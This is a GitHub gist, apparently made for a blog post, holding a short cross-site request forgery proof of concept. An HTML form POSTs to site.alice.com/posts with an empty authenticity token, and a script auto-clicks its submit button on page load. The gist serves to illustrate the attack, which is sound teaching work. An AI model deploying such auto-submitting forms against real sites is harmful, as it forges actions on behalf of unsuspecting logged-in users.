Skip to content

Instantly share code, notes, and snippets.

@SteveLTN
Last active May 7, 2017 21:21
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save SteveLTN/2ea08e6f431aa67d6826f1b011dfc79c to your computer and use it in GitHub Desktop.
For blog post
<form class="new_post" id="new_post" action="http://site.alice.com/posts" accept-charset="UTF-8" method="post">
<input type="hidden" name="authenticity_token" value="">
<input id="submit-button" type="submit" name="commit" value="Create Post">
</form>
<script>
document.getElementById("submit-button").click()
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment